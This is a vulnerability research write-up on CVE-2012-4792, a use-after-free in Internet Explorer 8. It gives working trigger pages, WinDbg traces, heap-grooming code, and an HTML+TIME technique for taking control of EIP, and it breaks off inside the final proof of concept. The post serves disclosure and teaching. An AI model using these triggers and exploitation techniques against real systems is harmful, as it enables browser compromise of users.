Bypassing Microsoft’s Internet Explorer 0day “Fix It” Patch for CVE-2012-4792

Update: After we reported our bypasses to Microsoft, they released the MS13-008 bulletin to patch CVE-2012-4792 officially.

After posting our analysis of the current 0day in Internet Explorer which was used in a “watering hole” style attack hosted on the Council for Foreign Relations website, we decided to take a look at the Fix It patch made available by Microsoft to address the vulnerability. After less than a day of reverse engineering, we found that we were able to bypass the fix and compromise a fully-patched system with a variation of the exploit we developed earlier this week.

We have included details on the bypass to customers of our intelligence feeds and will notify Microsoft of the issue. In practice with coordinated vulnerability disclosure, we intend to update this post with details when Microsoft has addressed the problematic patch.

For more information, keep an eye on this post or contact us to inquire about our offerings.

Happy New Year Analysis of CVE-2012-4792

A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393

Analysis

The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
		var e0 = null;
		var e1 = null;
		var e2 = null;

		try {
			e0 = document.getElementById("a");
			e1 = document.getElementById("b");
			e2 = document.createElement("q");
			e1.applyElement(e2);
			e1.appendChild(document.createElement('button'));
			e1.applyElement(e0);
			e2.outerText = "";
			e2.appendChild(document.createElement('body'));
		} catch(e) { }
		CollectGarbage();
		var eip = window;
		var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
		eip.location = unescape("AA" + data);
	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened.

Analysis-1

This resulted in the following windbg log:

(a0.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????
1:022> !heap -p -a edi
    address 05682fa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5640eb0:          5682000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f
    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022
    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029
    3cf7a976 mshtml!PlainRelease+0x00000025
    3cf9709c mshtml!PlainTrackerRelease+0x00000014
    3d7b5194 jscript!VAR::Clear+0x0000005c
    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab
    3d7b4d08 jscript!GcContext::CollectCore+0x00000113
    3d82471d jscript!JsCollectGarbage+0x0000001d
    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137
    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c
    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe
    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f
    3d7c1113 jscript!CSession::Execute+0x00000175


1:022> kv
ChildEBP RetAddr  Args to Child
0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47
0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f
0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12
0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183
0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28
0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])
0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])


Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor'”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef.

When we look back at the HTML code some of it makes sense

e1.appendChild(document.createElement('button'));


This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“.

Analysis-2

If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well.

Analysis-3

By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
                var e0 = null;
		var e1 = null;
		var e2 = null;
		try {
			Math.atan2(0xbadc0de, "before get element a")
			e0 = document.getElementById("a");
			Math.atan2(0xbadc0de, "before get element b")
			e1 = document.getElementById("b");
			Math.atan2(0xbadc0de, "before create element q")
			e2 = document.createElement("q");
			Math.atan2(0xbadc0de, "before apply element e1(b) -> e2(q)")
			e1.applyElement(e2);
			Math.atan2(0xbadc0de, "before appendChild create element button")
			e1.appendChild(document.createElement('button'));
			Math.atan2(0xbadc0de, "before applyElement e1 -> e0")
			e1.applyElement(e0);
			Math.atan2(0xbadc0de, "before e2 outertext")
			e2.outerText = "";
			Math.atan2(0xbadc0de, "before e2 appendChild createElement body")
			e2.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "All done inside try loop")
		} catch(e) { }
		Math.atan2(0xbadc0de, "collecting garbage")
		CollectGarbage();
		Math.atan2(0xbadc0de, "Done collecting garbage")

	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

We now run the poc again.

0:000> sxe ld:jscript
0:000> g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:025> bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:025> bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", eax;.echo;g"
1:025> bl
 0 e 3d7d8f09     0001 (0001)  1:**** jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
 1 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 2 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", eax;.echo;g"
1:025> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 05312fa8
before applyElement e1 -> e0
before e2 outertext
before e2 appendChild createElement body
All done inside try loop
collecting garbage
Deleting CButton at 3cf70d10
Done collecting garbage
(870.bcc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05312fa8=????????

We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later.
The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post.

Lets go back to the crash and see where edi (pointing to the freed memory) comes from.

Analysis-4

Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem.

0:000> sxe ld:mshtml
0:000> g
ModLoad: 3cea0000 3d45e000   C:WINDOWSsystem32mshtml.dll
1:025> bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:025> bp !mshtml + 0x44224
1:025> bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", ecx;.echo;g"
 2 e 3cee4224     0001 (0001)  1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc
1:025> g
Created CButton at 055eefa8
Deleting CButton at 055eefa8
Breakpoint 2 hit
3cee4224 e80bc30100      call    mshtml!CElement::FindDefaultElem (3cf00534)
1:025> t

<snip>

3cf00585 56              push    esi
3cf00586 8bc3            mov     eax,ebx
3cf00588 e84aa20400      call    mshtml!CElement::GetParentForm (3cf4a7d7)
1:025>
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x51:
3cf0058d 8bf0            mov     esi,eax
3cf0058f 3bf2            cmp     esi,edx
3cf00591 0f857e4d1a00    jne     mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]
1:025>
3cf00597 395510          cmp     dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000
3cf0059a 0f8569a71f00    jne     mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]
1:025>
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x96:
3cf005a0 8b87a8010000    mov     eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8

1:025> dc 04c1a6a8
04c1a6a8  3cfa4f78 00000014 000000b8 00000000  xO.<............
04c1a6b8  00000000 3cf46c50 04c1a6a8 021e1b8c  ....Pl. dds 04c1a6a8 L1
04c1a6a8  3cfa4f78 mshtml!CDoc::`vftable'
1:025> !heap -p -a 04c1a6a8
    address 04c1a6a8 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 44cad98:          4c1a6a8              954 -          4c1a000             2000
          mshtml!CDoc::`vftable'
    7c919c0c ntdll!RtlAllocateHeap+0x00000e64
    3ceb29f0 mshtml!CDoc::operator new+0x00000013
    3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b
    3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f
    3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073
    3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d
    3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080
    3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626
    3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e
    3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c
    3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5
    3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2
    3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5
    781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c
    78136247 urlmon!CBinding::CallOnProgress+0x00000030
    7816180b urlmon!CBinding::InstantiateObject+0x000000b7

1:025> p
3cf005a6 5e              pop     esi
3cf005a7 5f              pop     edi
3cf005a8 5b              pop     ebx
3cf005a9 5d              pop     ebp
3cf005aa c20c00          ret     0Ch

The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location.


Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "c:Program FilesInternet Exploreriexplore.exe" http://127.0.0.1/crash.html
Symbol search path is: srv*c:mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00400000 0049c000   iexplore.exe
ModLoad: 7c900000 7c9b2000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:WINDOWSsystem32kernel32.dll
ModLoad: 77dd0000 77e6b000   C:WINDOWSsystem32ADVAPI32.dll
ModLoad: 77e70000 77f03000   C:WINDOWSsystem32RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:WINDOWSsystem32Secur32.dll
ModLoad: 7e410000 7e4a1000   C:WINDOWSsystem32USER32.dll
ModLoad: 77f10000 77f59000   C:WINDOWSsystem32GDI32.dll
ModLoad: 77c10000 77c68000   C:WINDOWSsystem32msvcrt.dll
ModLoad: 77f60000 77fd6000   C:WINDOWSsystem32SHLWAPI.dll
ModLoad: 7c9c0000 7d1d7000   C:WINDOWSsystem32SHELL32.dll
ModLoad: 774e0000 7761e000   C:WINDOWSsystem32ole32.dll
ModLoad: 3dfd0000 3e1bb000   C:WINDOWSsystem32iertutil.dll
ModLoad: 78130000 78263000   C:WINDOWSsystem32urlmon.dll
ModLoad: 77120000 771ab000   C:WINDOWSsystem32OLEAUT32.dll
(8b0.770): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> sxe ld:mshtml
0:000> g
Symbol search path is: srv*c:mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
(4d8.398): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
1:014> g
ModLoad: 3cea0000 3d45e000   C:WINDOWSsystem32mshtml.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023> bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", ecx;.echo;g"
 2 e 3ceb29f0     0001 (0001)  1:**** mshtml!CDoc::operator new+0x13
1:023> sxe ld:jscript
1:023> g
Breakpoint 2 hit
eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023> ba w4 eax +  0x1A8
1:023> g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023> bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 055a2fa8
Breakpoint 3 hit
eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8
eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CElement::SetDefaultElem+0x85:
3d07da88 5e              pop     esi
1:023> ub
mshtml!CElement::SetDefaultElem+0x72:
3d07da75 85c0            test    eax,eax
3d07da77 740f            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da79 6a01            push    1
3d07da7b 8bc7            mov     eax,edi
3d07da7d e8d5b7ebff      call    mshtml!CElement::IsVisible (3cf39257)
3d07da82 85c0            test    eax,eax
3d07da84 7402            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da86 893e            mov     dword ptr [esi],edi
1:023> kv
ChildEBP RetAddr  Args to Child
0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85
0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb
0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3
0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a
0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f
0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1
0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c
0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39
1:023> dc edi L58/4
055a2fa8  3cf70d10 00000003 00000008 055a4fe8  ...<.........OZ.
055a2fb8  029e5e00 05584fb0 00000012 80096200  .^...OX......b..
055a2fc8  00000006 04c8cf28 3cf782e0 00000000  ....(...... dds edi L1
055a2fa8  3cf70d10 mshtml!CButton::`vftable'

It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object.

Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did.

Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code.


e0 = document.getElementById("a");

Get a reference to the form object

e1 = document.getElementById("b");

Get a reference to the dfn object

e2 = document.createElement("q");

Create a ‘Q’ element

e1.applyElement(e2);

Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN

e1.appendChild(document.createElement('button'));

We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON

e1.applyElement(e0);

We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON

e2.outerText = "";

And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.

e2.appendChild(document.createElement('body'));

This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation.

Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue.

To test this I created the following POC

<!doctype html<
<html<
<head<
	<script<
		function helloWorld() {
				e_form = document.getElementById("formelm");
				e_div = document.getElementById("divelm");
				e_div.appendChild(document.createElement('button'))
				e_div.firstChild.applyElement(e_form);
				e_div.innerHTML = ""
				e_div.appendChild(document.createElement('body'));
				CollectGarbage();
		}

	</script<
</head<
<div id="divelm"<</div<
<body onload="eval(helloWorld())"<
	<form id="formelm"<
	</form<
</body<
</html<

And yes, this causes the same problem. After running this through windbg with some log messages we get the following result


0:000> sxe ld:mshtml
0:000> g
1:023> bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> g
Breakpoint 2 hit
eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023> ba w4 eax +  0x1A8 ".printf "Just added the Default Element";.echo;g"
1:023> sxe ld:jscript
1:023> g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
1:023> bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before creating the button and adding it to the div element
Created CButton at 05748fa8
Just added the Default Element
before adding button to Form
before clearing out the div innerHTML
adding body element to the div
collecting garbage
Deleting CButton at 05748fa8
Done collecting garbage
(ca4.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05748fa8=????????



You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward

Exploitation

Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0x58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space.
To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.

Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached.
Analysis-5

We added some code to enable the LFH for the CButton element and the added code to replace the freed memory.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
			e_form = document.getElementById("formelm");
			e_div = document.getElementById("divelm");

			for(i =0; i < 20; i++) {
				document.createElement('button');
			}

			Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")
			e_div.appendChild(document.createElement('button'))

			Math.atan2(0xbadc0de, "before adding button to Form")
			e_div.firstChild.applyElement(e_form);

			Math.atan2(0xbadc0de, "before clearing out the div innerHTML")
			e_div.innerHTML = ""

			Math.atan2(0xbadc0de, "adding body element to the div")
			e_div.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "collecting garbage")
			CollectGarbage();
			e_div.className = "u2424u2424exodusintel.com--------------------------";
			Math.atan2(0xbadc0de, "Done collecting garbage")
	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<div id="divelm"></div>
	<form id="formelm">
	</form>
</body>
</html>

running this results in the following crash

(f90.bd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088
eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
3d086271 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:24242500=????????
1:025> dc edi
00235088  24242424 00780065 0064006f 00730075  $$$$e.x.o.d.u.s.
00235098  006e0069 00650074 002e006c 006f0063  i.n.t.e.l...c.o.
002350a8  002d006d 002d002d 002d002d 002d002d  m.-.-.-.-.-.-.-.
002350b8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350c8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350d8  002d002d 0000002d eaa7c6ac ff0c0100  -.-.-...........
002350e8  3cf74690 0021f728 002347f8 3cf77870  .F.<(.!..G#.px.<
002350f8  00000001 00000000 01000808 ffffffff  ................


Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don't need to force memory disclosure to bypass ASLR and we can rely on a module that doesn't opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn't apply to IE9 I dont mind dropping it here.

Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all.

For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn't work as expected.

<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
	<meta>
		<?IMPORT namespace="t" implementation="#default#time2">
	</meta>
.
.
.
    <t:ANIMATECOLOR id="myanim"/>
.
.
.

by setting the 'values' property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values.

animvalues = "u4141u4141"
while(animvalues.length < 0xDC) {
	animvalues += animvalues
}
for(i = 0; i < 21; i++) {
	animvalues += ";cyan";
}

Then we can set the values property to this string and voila, we control EIP directly

try {
	a = document.getElementById('myanim');
	a.values = animvalues;
}
catch(e) {}


Because the values are suposed to be legit colors you need to do this in a try-except construct so you don't throw an error and stop the execution of the script. Also, doing this will create some 'noise' with additional allocations being made, but nothing that isn't controllable.

Adding this we get the following POC:

<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
	<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
	function helloWorld() {
		e_form = document.getElementById("formelm");
		e_div = document.getElementById("divelm");
